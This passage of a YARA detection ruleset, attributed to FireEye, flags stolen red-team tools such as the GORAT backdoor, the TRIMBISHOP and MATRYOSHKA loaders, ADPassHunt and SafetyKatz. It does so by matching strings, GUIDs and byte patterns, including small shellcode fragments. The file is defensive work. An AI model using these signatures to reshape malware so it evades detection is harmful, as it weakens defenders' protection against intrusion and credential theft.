		id = "b090df60-8f4e-51ca-944c-6f9ce2d9c913"

	strings:
		$1 = "PSRunner.PSRunner" fullword
		$2 = "CorBindToRuntime" fullword
		$3 = "ReportEventW" fullword
		$4 = "InvokePS" fullword wide
		$5 = "runCommand" fullword
		$6 = "initialize" fullword
		$trap = { 03 40 00 80 E8 [4] CC }

	condition:
		( uint16( 0 ) == 0x5A4D ) and ( uint32( uint32( 0x3C ) ) == 0x00004550 ) and all of them
}

rule APT_Backdoor_Win_GORAT_5
{
	meta:
		date = "2020-12-02"
		modified = "2020-12-02"
		md5 = "cdf58a48757010d9891c62940c439adb, a107850eb20a4bb3cc59dbd6861eaf0f"
		reference = "https://www.fireeye.com/blog/products-and-services/2020/12/fireeye-shares-details-of-recent-cyber-attack-actions-to-protect-community.html"
		author = "FireEye"
		id = "73102bd2-7b94-5c7b-b9a4-cfc9cf5e3212"

	strings:
		$1 = "comms.BeaconData" fullword
		$2 = "comms.CommandResponse" fullword
		$3 = "rat.BaseChannel" fullword
		$4 = "rat.Config" fullword
		$5 = "rat.Core" fullword
		$6 = "platforms.AgentPlatform" fullword
		$7 = "GetHostID" fullword
		$8 = "/rat/cmd/gorat_shared/dllmain.go" fullword

	condition:
		( uint16( 0 ) == 0x5A4D ) and ( uint32( uint32( 0x3C ) ) == 0x00004550 ) and all of them
}

rule APT_HackTool_MSIL_GPOHUNT_1
{
	meta:
		description = "The TypeLibGUID present in a .NET binary maps directly to the ProjectGuid found in the '.csproj' file of a .NET project. This rule looks for .NET PE files that contain the ProjectGuid found in the 'gpohunt' project."
		md5 = "dd8805d0e470e59b829d98397507d8c2"
		reference = "https://www.fireeye.com/blog/products-and-services/2020/12/fireeye-shares-details-of-recent-cyber-attack-actions-to-protect-community.html"
		author = "FireEye"
		id = "e4325f11-103c-5893-8978-9a72f7ca6105"

	strings:
		$typelibguid0 = "751a9270-2de0-4c81-9e29-872cd6378303" ascii nocase wide

	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}

rule APT_HackTool_MSIL_JUSTASK_1
{
	meta:
		description = "The TypeLibGUID present in a .NET binary maps directly to the ProjectGuid found in the '.csproj' file of a .NET project. This rule looks for .NET PE files that contain the ProjectGuid found in the 'justask' project."
		md5 = "dd8805d0e470e59b829d98397507d8c2"
		reference = "https://www.fireeye.com/blog/products-and-services/2020/12/fireeye-shares-details-of-recent-cyber-attack-actions-to-protect-community.html"
		author = "FireEye"
		id = "06a03d82-db69-5b5a-a578-a8053814e917"

	strings:
		$typelibguid0 = "aa59be52-7845-4fed-9ea5-1ea49085d67a" ascii nocase wide

	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}

rule APT_Trojan_Win_REDFLARE_4
{
	meta:
		date = "2020-12-01"
		modified = "2020-12-01"
		md5 = "a8b5dcfea5e87bf0e95176daa243943d, 9dcb6424662941d746576e62712220aa"
		reference = "https://www.fireeye.com/blog/products-and-services/2020/12/fireeye-shares-details-of-recent-cyber-attack-actions-to-protect-community.html"
		author = "FireEye"
		id = "6e8621b0-a0ee-5fc7-a2b8-1973a42d6e37"

	strings:
		$s1 = "LogonUserW" fullword
		$s2 = "ImpersonateLoggedOnUser" fullword
		$s3 = "runCommand" fullword
		$user_logon = { 22 02 00 00 [1-10] 02 02 00 00 [0-4] E8 [4-40] ( 09 00 00 00 [1-10] 03 00 00 00 | 6A 03 6A 09 ) [4-30] FF 15 [4] 85 C0 7? }

	condition:
		( uint16( 0 ) == 0x5A4D ) and ( uint32( uint32( 0x3C ) ) == 0x00004550 ) and all of them
}

rule APT_HackTool_MSIL_TITOSPECIAL_1
{
	meta:
		date = "2020-11-25"
		modified = "2020-11-25"
		md5 = "4bf96a7040a683bd34c618431e571e26"
		reference = "https://www.fireeye.com/blog/products-and-services/2020/12/fireeye-shares-details-of-recent-cyber-attack-actions-to-protect-community.html"
		author = "FireEye"
		id = "b12490ba-41f6-5469-bcbb-0d2e0055c193"

	strings:
		$ind_dump = { 1F 10 16 28 [2] 00 0A 6F [2] 00 0A [50-200] 18 19 18 73 [2] 00 0A 13 [1-4] 06 07 11 ?? 6F [2] 00 0A 18 7E [2] 00 0A 7E [2] 00 0A 7E [2] 00 0A 28 [2] 00 06 }
		$ind_s1 = "NtReadVirtualMemory" fullword wide
		$ind_s2 = "WriteProcessMemory" fullword
		$shellcode_x64 = { 4C 8B D1 B8 3C 00 00 00 0F 05 C3 }
		$shellcode_x86 = { B8 3C 00 00 00 33 C9 8D 54 24 04 64 FF 15 C0 00 00 00 83 C4 04 C2 14 00 }

	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and all of ( $ind* ) and any of ( $shellcode* )
}

rule Dropper_LNK_LNKSmasher_1
{
	meta:
		description = "The LNKSmasher project contains a prebuilt LNK file that has pieces added based on various configuration items. Because of this, several artifacts are present in every single LNK file generated by LNKSmasher, including the Drive Serial #, the File Droid GUID, and the GUID CLSID."
		md5 = "0a86d64c3b25aa45428e94b6e0be3e08"
		reference = "https://www.fireeye.com/blog/products-and-services/2020/12/fireeye-shares-details-of-recent-cyber-attack-actions-to-protect-community.html"
		author = "FireEye"
		id = "1b93ddf8-9578-5e47-b479-4c9e8a40b4f4"

	strings:
		$drive_serial = { 12 F7 26 BE }
		$file_droid_guid = { BC 96 28 4F 0A 46 54 42 81 B8 9F 48 64 D7 E9 A5 }
		$guid_clsid = { E0 4F D0 20 EA 3A 69 10 A2 D8 08 00 2B 30 30 9D }
		$header = { 4C 00 00 00 01 14 02 }

	condition:
		$header at 0 and all of them
}

rule HackTool_MSIL_SharpSchtask_1
{
	meta:
		description = "The TypeLibGUID present in a .NET binary maps directly to the ProjectGuid found in the '.csproj' file of a .NET project. This rule looks for .NET PE files that contain the ProjectGuid found in the 'SharpSchtask' project."
		md5 = "dd8805d0e470e59b829d98397507d8c2"
		reference = "https://www.fireeye.com/blog/products-and-services/2020/12/fireeye-shares-details-of-recent-cyber-attack-actions-to-protect-community.html"
		author = "FireEye"
		id = "5c7a5dee-3bc2-54b2-a7e2-be05ba74d4a1"

	strings:
		$typelibguid0 = "0a64a5f4-bdb6-443c-bdc7-f6f0bf5b5d6c" ascii nocase wide

	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}

rule APT_Controller_Linux_REDFLARE_1
{
	meta:
		date = "2020-12-02"
		modified = "2020-12-02"
		md5 = "79259451ff47b864d71fb3f94b1774f3, 82773afa0860d668d7fe40e3f22b0f3e"
		reference = "https://www.fireeye.com/blog/products-and-services/2020/12/fireeye-shares-details-of-recent-cyber-attack-actions-to-protect-community.html"
		author = "FireEye"
		id = "79a69740-7209-5c56-ad6f-eb4d0b29beaf"

	strings:
		$1 = "/RedFlare/gorat_server"
		$2 = "RedFlare/sandals"
		$3 = "goratsvr.CommandResponse" fullword
		$4 = "goratsvr.CommandRequest" fullword

	condition:
		( uint32( 0 ) == 0x464c457f ) and all of them
}

rule APT_HackTool_MSIL_WMISPY_2
{
	meta:
		description = "wql searches"
		md5 = "3651f252d53d2f46040652788499d65a"
		reference = "https://www.fireeye.com/blog/products-and-services/2020/12/fireeye-shares-details-of-recent-cyber-attack-actions-to-protect-community.html"
		author = "FireEye"
		id = "474af878-a657-54bc-a063-04532df928d4"

	strings:
		$MSIL = "_CorExeMain"
		$str1 = "root\\cimv2" wide
		$str2 = "root\\standardcimv2" wide
		$str3 = "from MSFT_NetNeighbor" wide
		$str4 = "from Win32_NetworkLoginProfile" wide
		$str5 = "from Win32_IP4RouteTable" wide
		$str6 = "from Win32_DCOMApplication" wide
		$str7 = "from Win32_SystemDriver" wide
		$str8 = "from Win32_Share" wide
		$str9 = "from Win32_Process" wide

	condition:
		( uint16( 0 ) == 0x5A4D ) and ( uint32( uint32( 0x3C ) ) == 0x00004550 ) and $MSIL and all of ( $str* )
}

rule HackTool_MSIL_SharPersist_2
{
	meta:
		md5 = "98ecf58d48a3eae43899b45cec0fc6b7"
		reference = "https://www.fireeye.com/blog/products-and-services/2020/12/fireeye-shares-details-of-recent-cyber-attack-actions-to-protect-community.html"
		author = "FireEye"
		id = "1b8f6c25-3a59-5b88-bc0b-750b3663488b"

	strings:
		$a1 = "SharPersist.lib"
		$a2 = "SharPersist.exe"
		$b1 = "ERROR: Invalid hotkey location option given." ascii wide
		$b2 = "ERROR: Invalid hotkey given." ascii wide
		$b3 = "ERROR: Keepass configuration file not found." ascii wide
		$b4 = "ERROR: Keepass configuration file was not found." ascii wide
		$b5 = "ERROR: That value already exists in:" ascii wide
		$b6 = "ERROR: Failed to delete hidden registry key." ascii wide
		$pdb1 = "\\SharPersist\\"
		$pdb2 = "\\SharPersist.pdb"

	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and ( ( @pdb2 [ 1 ] < @pdb1 [ 1 ] + 50 ) or ( 1 of ( $a* ) and 2 of ( $b* ) ) )
}

rule APT_Loader_Win_MATRYOSHKA_1
{
	meta:
		date = "2020-12-02"
		modified = "2020-12-02"
		description = "matryoshka_process_hollow.rs"
		md5 = "44887551a47ae272d7873a354d24042d"
		reference = "https://www.fireeye.com/blog/products-and-services/2020/12/fireeye-shares-details-of-recent-cyber-attack-actions-to-protect-community.html"
		author = "FireEye"
		id = "c07fb67e-ded5-593d-b5dc-d0e2c3b5a352"

	strings:
		$s1 = "ZwQueryInformationProcess" fullword
		$s2 = "WriteProcessMemory" fullword
		$s3 = "CreateProcessW" fullword
		$s4 = "WriteProcessMemory" fullword
		$s5 = "\x00Invalid NT Signature!\x00"
		$s6 = "\x00Error while creating and mapping section. NTStatus: "
		$s7 = "\x00Error no process information - NTSTATUS:"
		$s8 = "\x00Error while erasing pe header. NTStatus: "

	condition:
		( uint16( 0 ) == 0x5A4D ) and ( uint32( uint32( 0x3C ) ) == 0x00004550 ) and ( uint16( uint32( 0x3C ) + 0x18 ) == 0x020B ) and all of them
}

rule Builder_MSIL_SinfulOffice_1
{
	meta:
		description = "The TypeLibGUID present in a .NET binary maps directly to the ProjectGuid found in the '.csproj' file of a .NET project. This rule looks for .NET PE files that contain the ProjectGuid found in the 'SinfulOffice' project."
		md5 = "dd8805d0e470e59b829d98397507d8c2"
		reference = "https://www.fireeye.com/blog/products-and-services/2020/12/fireeye-shares-details-of-recent-cyber-attack-actions-to-protect-community.html"
		author = "FireEye"
		id = "cf020fb3-751b-5346-8c0d-dc0a552599a3"

	strings:
		$typelibguid0 = "9940e18f-e3c7-450f-801a-07dd534ccb9a" ascii nocase wide

	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}

rule Loader_MSIL_SharPy_1
{
	meta:
		description = "The TypeLibGUID present in a .NET binary maps directly to the ProjectGuid found in the '.csproj' file of a .NET project. This rule looks for .NET PE files that contain the ProjectGuid found in the 'SharPy' project."
		md5 = "dd8805d0e470e59b829d98397507d8c2"
		reference = "https://www.fireeye.com/blog/products-and-services/2020/12/fireeye-shares-details-of-recent-cyber-attack-actions-to-protect-community.html"
		author = "FireEye"
		id = "7c7bda22-bacc-5901-a650-a30c9cfcdee7"

	strings:
		$typelibguid0 = "f6cf1d3b-3e43-4ecf-bb6d-6731610b4866" ascii nocase wide

	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}

rule APT_Loader_MSIL_WILDCHILD_1
{
	meta:
		date = "2020-12-01"
		modified = "2020-12-01"
		md5 = "6f04a93753ae3ae043203437832363c4"
		reference = "https://www.fireeye.com/blog/products-and-services/2020/12/fireeye-shares-details-of-recent-cyber-attack-actions-to-protect-community.html"
		author = "FireEye"
		id = "b9e0707e-98eb-55da-ad1d-6a84bd113747"

	strings:
		$s1 = "\x00QueueUserAPC\x00"
		$s2 = "\x00WriteProcessMemory\x00"
		$sb1 = { 6F [2] 00 0A 28 [2] 00 0A 6F [2] 00 0A 13 ?? 28 [2] 00 0A 28 [2] 00 0A 13 ?? 11 ?? 11 ?? 28 [2] 00 0A [0-16] 7B [2] 00 04 1? 20 [4] 28 [2] 00 0A 11 ?? 28 [2] 00 0A 28 [2] 00 0A 7E [2] 00 0A 7E [2] 00 0A 28 [2] 00 06 [0-16] 14 7E [2] 00 0A 7E [2] 00 0A 1? 20 04 00 08 08 7E [2] 00 0A 14 12 ?? 12 ?? 28 [2] 00 06 [0-16] 7B [2] 00 04 7E [2] 00 0A [0-16] 8E ?? 7E [2] 00 04 7E [2] 00 04 28 [2] 00 06 [4-120] 28 [2] 00 06 [0-80] 6F [2] 00 0A 6F [2] 00 0A 28 [2] 00 06 13 ?? 11 ?? 11 ?? 7E [2] 00 0A 28 [2] 00 06 }

	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and all of them
}

rule Loader_Win_Generic_18
{
	meta:
		date = "2020-11-25"
		modified = "2020-11-25"
		md5 = "c74ebb6c238bbfaefd5b32d2bf7c7fcc"
		reference = "https://www.fireeye.com/blog/products-and-services/2020/12/fireeye-shares-details-of-recent-cyber-attack-actions-to-protect-community.html"
		author = "FireEye"
		id = "6f44bd64-29bd-50e2-8b61-7ba61bb1f688"

	strings:
		$s0 = { 89 [1-16] FF 15 [4-16] 89 [1-24] E8 [4-16] 89 C6 [4-24] 8D [1-8] 89 [1-4] 89 [1-4] E8 [4-16] 89 [1-8] E8 [4-24] 01 00 00 00 [1-8] 89 [1-8] E8 [4-64] 8A [1-8] 88 }
		$s2 = { 83 EC [4-24] 00 10 00 00 [4-24] C7 44 24 ?? ?? 00 00 00 [0-8] FF 15 [4-24] 89 [1-4] 89 [1-4] 89 [1-8] FF 15 [4-16] 3? ?? 7? [4-24] 20 00 00 00 [4-24] FF 15 [4-32] F3 A5 }
		$si1 = "fread" fullword
		$si2 = "fwrite" fullword

	condition:
		( uint16( 0 ) == 0x5A4D ) and ( uint32( uint32( 0x3C ) ) == 0x00004550 ) and all of them
}

rule HackTool_MSIL_HOLSTER_1
{
	meta:
		description = "The TypeLibGUID present in a .NET binary maps directly to the ProjectGuid found in the '.csproj' file of a .NET project. This rule looks for .NET PE files that contain the ProjectGuid found in the a customized version of the 'DUEDLLIGENCE' project."
		md5 = "a91bf61cc18705be2288a0f6f125068f"
		reference = "https://www.fireeye.com/blog/products-and-services/2020/12/fireeye-shares-details-of-recent-cyber-attack-actions-to-protect-community.html"
		author = "FireEye"
		id = "e1e8979e-2dee-5061-a11d-00dcfba476c3"

	strings:
		$typelibguid1 = "a8bdbba4-7291-49d1-9a1b-372de45a9d88" ascii nocase wide

	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}

rule APT_Loader_MSIL_TRIMBISHOP_1
{
	meta:
		date = "2020-12-03"
		modified = "2020-12-03"
		md5 = "e91670423930cbbd3dbf5eac1f1a7cb6"
		reference = "https://www.fireeye.com/blog/products-and-services/2020/12/fireeye-shares-details-of-recent-cyber-attack-actions-to-protect-community.html"
		author = "FireEye"
		id = "1a3f4247-25f4-51ca-b881-209c0753b915"

	strings:
		$sb1 = { 28 [2] 00 06 0A 06 7B [2] 00 04 [12-64] 06 7B [2] 00 04 6E 28 [2] 00 06 0B 07 7B [2] 00 04 [12-64] 0? 7B [2] 00 04 0? 7B [2] 00 04 0? 7B [2] 00 04 6E 28 [2] 00 06 0? 0? 7B [2] 00 04 [12-80] 0? 7B [2] 00 04 1? 0? 7B [2] 00 04 }
		$sb2 = { 0F ?? 7C [2] 00 04 28 [2] 00 0A 8C [2] 00 01 [20-80] 28 [2] 00 06 0? 0? 7E [2] 00 0A 28 [2] 00 0A [12-80] 7E [2] 00 0A 13 ?? 0? 7B [2] 00 04 28 [2] 00 0A 0? 28 [2] 00 0A 58 28 [2] 00 0A 13 [1-32] 28 [2] 00 0A [0-32] D0 [2] 00 02 28 [2] 00 0A 28 [2] 00 0A 74 [2] 00 02 }
		$ss1 = "\x00NtMapViewOfSection\x00"
		$ss2 = "\x00NtOpenProcess\x00"
		$ss3 = "\x00NtAlertResumeThread\x00"
		$ss4 = "\x00LdrGetProcedureAddress\x00"
		$tb1 = "\x00DTrim.Execution.DynamicInvoke\x00"

	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and ( @sb1 [ 1 ] < @sb2 [ 1 ] ) and ( all of ( $ss* ) ) and ( all of ( $tb* ) )
}

rule APT_Loader_MSIL_TRIMBISHOP_2
{
	meta:
		date = "2020-12-03"
		modified = "2020-12-03"
		md5 = "c0598321d4ad4cf1219cc4f84bad4094"
		reference = "https://www.fireeye.com/blog/products-and-services/2020/12/fireeye-shares-details-of-recent-cyber-attack-actions-to-protect-community.html"
		author = "FireEye"
		id = "90ee2569-2e68-517b-b2d7-8c4015d92683"

	strings:
		$ss1 = "\x00NtMapViewOfSection\x00"
		$ss2 = "\x00NtOpenProcess\x00"
		$ss3 = "\x00NtAlertResumeThread\x00"
		$ss4 = "\x00LdrGetProcedureAddress\x00"
		$ss5 = "\x2f(\x00?\x00i\x00)\x00(\x00-\x00|\x00-\x00-\x00|\x00/\x00)\x00(\x00i\x00|\x00I\x00n\x00j\x00e\x00c\x00t\x00)\x00$\x00"
		$ss6 = "\x2d(\x00?\x00i\x00)\x00(\x00-\x00|\x00-\x00-\x00|\x00/\x00)\x00(\x00c\x00|\x00C\x00l\x00e\x00a\x00n\x00)\x00$\x00"
		$tb1 = "\x00DTrim.Execution.DynamicInvoke\x00"

	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and all of them
}

rule APT_Backdoor_Win_DShell_3
{
	meta:
		description = "This rule looks for strings specific to the D programming language in combination with sections of an integer array which contains the encoded payload found within DShell"
		md5 = "cf752e9cd2eccbda5b8e4c29ab5554b6"
		reference = "https://www.fireeye.com/blog/products-and-services/2020/12/fireeye-shares-details-of-recent-cyber-attack-actions-to-protect-community.html"
		author = "FireEye"
		id = "31717164-9876-58f8-af27-d27c81d20fba"

	strings:
		$dlang1 = "C:\\D\\dmd2\\windows\\bin\\..\\..\\src\\phobos\\std\\utf.d" ascii wide
		$dlang2 = "C:\\D\\dmd2\\windows\\bin\\..\\..\\src\\phobos\\std\\file.d" ascii wide
		$dlang3 = "C:\\D\\dmd2\\windows\\bin\\..\\..\\src\\phobos\\std\\format.d" ascii wide
		$dlang4 = "C:\\D\\dmd2\\windows\\bin\\..\\..\\src\\phobos\\std\\base64.d" ascii wide
		$dlang5 = "C:\\D\\dmd2\\windows\\bin\\..\\..\\src\\phobos\\std\\stdio.d" ascii wide
		$dlang6 = "\\..\\..\\src\\phobos\\std\\utf.d" ascii wide
		$dlang7 = "\\..\\..\\src\\phobos\\std\\file.d" ascii wide
		$dlang8 = "\\..\\..\\src\\phobos\\std\\format.d" ascii wide
		$dlang9 = "\\..\\..\\src\\phobos\\std\\base64.d" ascii wide
		$dlang10 = "\\..\\..\\src\\phobos\\std\\stdio.d" ascii wide
		$dlang11 = "Unexpected '\\n' when converting from type const(char)[] to type int" ascii wide
		$e0 = ",0,"
		$e1 = ",1,"
		$e2 = ",2,"
		$e3 = ",3,"
		$e4 = ",4,"
		$e5 = ",5,"
		$e6 = ",6,"
		$e7 = ",7,"
		$e8 = ",8,"
		$e9 = ",9,"
		$e10 = ",10,"
		$e11 = ",11,"
		$e12 = ",12,"
		$e13 = ",13,"
		$e14 = ",14,"
		$e15 = ",15,"
		$e16 = ",16,"
		$e17 = ",17,"
		$e18 = ",18,"
		$e19 = ",19,"
		$e20 = ",20,"
		$e21 = ",21,"
		$e22 = ",22,"
		$e23 = ",23,"
		$e24 = ",24,"
		$e25 = ",25,"
		$e26 = ",26,"
		$e27 = ",27,"
		$e28 = ",28,"
		$e29 = ",29,"
		$e30 = ",30,"
		$e31 = ",31,"
		$e32 = ",32,"
		$e33 = ",33,"
		$e34 = ",34,"
		$e35 = ",35,"
		$e36 = ",36,"
		$e37 = ",37,"
		$e38 = ",38,"
		$e39 = ",39,"
		$e40 = ",40,"
		$e41 = ",41,"
		$e42 = ",42,"
		$e43 = ",43,"
		$e44 = ",44,"
		$e45 = ",45,"
		$e46 = ",46,"
		$e47 = ",47,"
		$e48 = ",48,"
		$e49 = ",49,"
		$e50 = ",50,"
		$e51 = ",51,"
		$e52 = ",52,"
		$e53 = ",53,"
		$e54 = ",54,"
		$e55 = ",55,"
		$e56 = ",56,"
		$e57 = ",57,"
		$e58 = ",58,"
		$e59 = ",59,"
		$e60 = ",60,"
		$e61 = ",61,"
		$e62 = ",62,"
		$e63 = ",63,"
		$e64 = ",64,"

	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and filesize > 500KB and filesize < 1500KB and 40 of ( $e* ) and 1 of ( $dlang* )
}

rule APT_HackTool_MSIL_SHARPSTOMP_1
{
	meta:
		date = "2020-12-02"
		modified = "2020-12-02"
		md5 = "83ed748cd94576700268d35666bf3e01"
		reference = "https://www.fireeye.com/blog/products-and-services/2020/12/fireeye-shares-details-of-recent-cyber-attack-actions-to-protect-community.html"
		author = "FireEye"
		id = "4b4a54c8-9717-5fbb-8130-a49162bc6b07"

	strings:
		$s0 = "mscoree.dll" fullword nocase
		$s1 = "timestompfile" fullword nocase
		$s2 = "sharpstomp" fullword nocase
		$s3 = "GetLastWriteTime" fullword
		$s4 = "SetLastWriteTime" fullword
		$s5 = "GetCreationTime" fullword
		$s6 = "SetCreationTime" fullword
		$s7 = "GetLastAccessTime" fullword
		$s8 = "SetLastAccessTime" fullword

	condition:
		( uint16( 0 ) == 0x5A4D ) and ( uint32( uint32( 0x3C ) ) == 0x00004550 ) and all of them
}

rule APT_HackTool_MSIL_SHARPPATCHCHECK_1
{
	meta:
		description = "The TypeLibGUID present in a .NET binary maps directly to the ProjectGuid found in the '.csproj' file of a .NET project. This rule looks for .NET PE files that contain the ProjectGuid found in the 'sharppatchcheck' project."
		md5 = "dd8805d0e470e59b829d98397507d8c2"
		reference = "https://www.fireeye.com/blog/products-and-services/2020/12/fireeye-shares-details-of-recent-cyber-attack-actions-to-protect-community.html"
		author = "FireEye"
		id = "dedc12b9-b9e7-5c13-ad6d-2e286aba2302"

	strings:
		$typelibguid0 = "528b8df5-6e5e-4f3b-b617-ac35ed2f8975" ascii nocase wide

	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}

rule HackTool_MSIL_SAFETYKATZ_4
{
	meta:
		description = "The TypeLibGUID present in a .NET binary maps directly to the ProjectGuid found in the '.csproj' file of a .NET project. This rule looks for .NET PE files that contain the ProjectGuid found in the public SafetyKatz project."
		md5 = "45736deb14f3a68e88b038183c23e597"
		reference = "https://www.fireeye.com/blog/products-and-services/2020/12/fireeye-shares-details-of-recent-cyber-attack-actions-to-protect-community.html"
		author = "FireEye"
		id = "e160b75d-cc39-5e16-86e1-cba9fe64a6b6"

	strings:
		$typelibguid1 = "8347E81B-89FC-42A9-B22C-F59A6A572DEC" ascii nocase wide

	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and $typelibguid1
}

rule APT_Backdoor_MacOS_GORAT_1
{
	meta:
		description = "This rule is looking for specific strings associated with network activity found within the MacOS generated variant of GORAT"
		md5 = "68acf11f5e456744262ff31beae58526"
		reference = "https://www.fireeye.com/blog/products-and-services/2020/12/fireeye-shares-details-of-recent-cyber-attack-actions-to-protect-community.html"
		author = "FireEye"
		id = "4646eadb-7acf-582f-9ad6-00f012ceed8a"

	strings:
		$s1 = "SID1=%s" ascii wide
		$s2 = "http/http.dylib" ascii wide
		$s3 = "Mozilla/" ascii wide
		$s4 = "User-Agent" ascii wide
		$s5 = "Cookie" ascii wide

	condition:
		(( uint32( 0 ) == 0xBEBAFECA ) or ( uint32( 0 ) == 0xFEEDFACE ) or ( uint32( 0 ) == 0xFEEDFACF ) or ( uint32( 0 ) == 0xCEFAEDFE ) ) and all of them
}

rule CredTheft_MSIL_ADPassHunt_2
{
	meta:
		md5 = "6efb58cf54d1bb45c057efcfbbd68a93"
		reference = "https://www.fireeye.com/blog/products-and-services/2020/12/fireeye-shares-details-of-recent-cyber-attack-actions-to-protect-community.html"
		author = "FireEye"
		id = "44ba09c3-ac0a-58e7-b98c-dedcbf208d00"

	strings:
		$pdb1 = "\\ADPassHunt\\"
		$pdb2 = "\\ADPassHunt.pdb"
		$s1 = "Usage: .\\ADPassHunt.exe"
		$s2 = "[ADA] Searching for accounts with msSFU30Password attribute"
		$s3 = "[ADA] Searching for accounts with userpassword attribute"
		$s4 = "[GPP] Searching for passwords now"

	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and ( @pdb2 [ 1 ] < @pdb1 [ 1 ] + 50 ) or 2 of ( $s* )
}

rule APT_Loader_Win64_PGF_4
{
	meta:
		date = "2020-11-26"
		modified = "2020-11-26"
		md5 = "3bb34ebd93b8ab5799f4843e8cc829fa"
		reference = "https://www.fireeye.com/blog/products-and-services/2020/12/fireeye-shares-details-of-recent-cyber-attack-actions-to-protect-community.html"
		author = "FireEye"
		id = "4c93ba76-d3a5-568d-88b8-79a6ebc2edbb"

	strings:
		$sb1 = { 41 B9 04 00 00 00 41 B8 00 10 00 00 BA [4] B9 00 00 00 00 [0-32] FF [1-24] 7? [1-150] 8B 45 [0-32] 44 0F B? ?? 8B [2-16] B? CD CC CC CC [0-16] C1 ?? 04 [0-16] C1 ?? 02 [0-16] C1 ?? 02 [0-16] 48 8? 05 [4-32] 31 [1-4] 88 }
		$sb2 = { C? 45 ?? 48 [0-32] B8 [0-64] FF [0-32] E0 [0-32] 41 B8 40 00 00 00 BA 0C 00 00 00 48 8B [2] 48 8B [2-32] FF [1-16] 48 89 10 8B 55 ?? 89 ?? 08 48 8B [2] 48 8D ?? 02 48 8B 45 18 48 89 02 }

	condition:
		( uint16( 0 ) == 0x5A4D ) and ( uint32( uint32( 0x3C ) ) == 0x00004550 ) and ( uint16( uint32( 0x3C ) + 0x18 ) == 0x020B ) and all of them
}

rule APT_Loader_Win32_PGF_4
{
	meta:
		date = "2020-11-26"
		modified = "2020-11-26"
		md5 = "4414953fa397a41156f6fa4f9462d207"
		reference = "https://www.fireeye.com/blog/products-and-services/2020/12/fireeye-shares-details-of-recent-cyber-attack-actions-to-protect-community.html"
		author = "FireEye"
		id = "d46d9ae9-cb7d-5a25-9ee2-766097c14af6"

	strings:
		$sb1 = { C7 44 24 0C 04 00 00 00 C7 44 24 08 00 10 00 00 [4-32] C7 04 24 00 00 00 00 [0-32] FF [1-16] 89 45 ?? 83 7D ?? 00 [2-150] 0F B? ?? 8B [2] B? CD CC CC CC 89 ?? F7 ?? C1 ?? 04 89 ?? C1 ?? 02 [0-32] 0F B? [5-32] 3? [1-16] 88 }
		$sb2 = { C? 45 ?? B8 [0-4] C? 45 ?? 00 [0-64] FF [0-32] E0 [0-32] C7 44 24 08 40 00 00 00 [0-32] C7 44 24 04 07 00 00 00 [0-32] FF [1-64] 89 ?? 0F B? [2-3] 89 ?? 04 0F B? [2] 88 ?? 06 8B ?? 08 8D ?? 01 8B 45 0C }

	condition:
		( uint16( 0 ) == 0x5A4D ) and ( uint32( uint32( 0x3C ) ) == 0x00004550 ) and ( uint16( uint32( 0x3C ) + 0x18 ) == 0x010B ) and all of them
}

rule CredTheft_MSIL_ADPassHunt_1
{
	meta:
		description = "The TypeLibGUID present in a .NET binary maps directly to the ProjectGuid found in the '.csproj' file of a .NET project. This rule looks for .NET PE files that contain the ProjectGuid found in the public ADPassHunt project."
		md5 = "6efb58cf54d1bb45c057efcfbbd68a93"
		reference = "https://www.fireeye.com/blog/products-and-services/2020/12/fireeye-shares-details-of-recent-cyber-attack-actions-to-protect-community.html"
		author = "FireEye"
		id = "35fb8032-c73a-549f-9bd9-409f7050bdb0"

	strings:
		$typelibguid = "15745B9E-A059-4AF1-A0D8-863E349CD85D" ascii nocase wide

	condition:
		uint16( 0 ) == 0x5A4D and $typelibguid
}

rule HackTool_MSIL_GETDOMAINPASSWORDPOLICY_1
{
	meta:
		description = "The TypeLibGUID present in a .NET binary maps directly to the ProjectGuid found in the '.csproj' file of a .NET project. This rule looks for .NET PE files that contain the ProjectGuid found in the recon utility 'getdomainpasswordpolicy' project."
		md5 = "dd8805d0e470e59b829d98397507d8c2"
		reference = "https://www.fireeye.com/blog/products-and-services/2020/12/fireeye-shares-details-of-recent-cyber-attack-actions-to-protect-community.html"
		author = "FireEye"
		id = "69745e99-33cc-5171-ae7a-5c98439a0b6d"

	strings:
		$typelibguid0 = "a5da1897-29aa-45f4-a924-561804276f08" ascii nocase wide

	condition:
		filesize < 10MB and ( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}

rule HackTool_MSIL_SharPivot_1
{
	meta:
		date = "2020-11-25"
		modified = "2020-11-25"
		md5 = "e4efa759d425e2f26fbc29943a30f5bd"
		reference = "https://www.fireeye.com/blog/products-and-services/2020/12/fireeye-shares-details-of-recent-cyber-attack-actions-to-protect-community.html"
		author = "FireEye"
		id = "c2834bd6-efb0-5dac-adcd-a9450090fc28"

	strings:
		$s2 = { 73 ?? 00 00 0A 0A 06 1F ?? 1F ?? 6F ?? 00 00 0A 0B 73 ?? 00 00 0A 0C 16 13 04 2B 5E 23 [8] 06 6F ?? 00 00 0A 5A 23 [8] 58 28 ?? 00 00 0A 28 ?? 00 00 0A 28 ?? 00 00 0A }
